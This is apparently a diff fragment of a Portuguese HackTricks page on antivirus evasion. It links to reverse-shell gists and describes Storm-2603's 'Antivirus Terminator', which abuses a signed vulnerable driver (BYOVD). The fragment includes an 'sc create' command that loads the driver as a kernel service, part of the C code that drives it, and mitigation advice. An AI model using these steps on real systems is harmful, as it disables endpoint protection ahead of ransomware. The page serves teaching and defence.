[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Download e execução automáticos:
|
||||
```csharp
|
||||
64bit:
|
||||
@ -595,7 +633,7 @@ https://github.com/praetorian-code/vulcan
|
||||
Storm-2603 aproveitou uma pequena utilidade de console conhecida como **Antivirus Terminator** para desativar as proteções de endpoint antes de implantar ransomware. A ferramenta traz seu **próprio driver vulnerável, mas *assinado*** e o abusa para emitir operações privilegiadas do kernel que até mesmo os serviços AV Protected-Process-Light (PPL) não conseguem bloquear.
|
||||
|
||||
Principais conclusões
|
||||
1. **Driver assinado**: O arquivo entregue ao disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele carrega mesmo quando a Driver-Signature-Enforcement (DSE) está habilitada.
|
||||
1. **Driver assinado**: O arquivo entregue ao disco é `ServiceMouse.sys`, mas o binário é o driver legitimamente assinado `AToolsKrnl64.sys` do “System In-Depth Analysis Toolkit” da Antiy Labs. Como o driver possui uma assinatura válida da Microsoft, ele é carregado mesmo quando a Driver-Signature-Enforcement (DSE) está habilitada.
|
||||
2. **Instalação do serviço**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
@ -621,7 +659,7 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Por que funciona**: O BYOVD ignora completamente as proteções em modo de usuário; o código que é executado no kernel pode abrir processos *protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outros recursos de endurecimento.
|
||||
4. **Por que funciona**: O BYOVD ignora completamente as proteções em modo de usuário; o código que é executado no kernel pode abrir processos *protegidos*, terminá-los ou manipular objetos do kernel independentemente de PPL/PP, ELAM ou outras características de endurecimento.
|
||||
|
||||
Detecção / Mitigação
|
||||
• Habilite a lista de bloqueio de drivers vulneráveis da Microsoft (`HVCI`, `Smart App Control`) para que o Windows se recuse a carregar `AToolsKrnl64.sys`.
|
||||
@ -668,7 +706,8 @@ Este estudo de caso demonstra como decisões de confiança puramente do lado do
|
||||
|
||||
## Referências
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user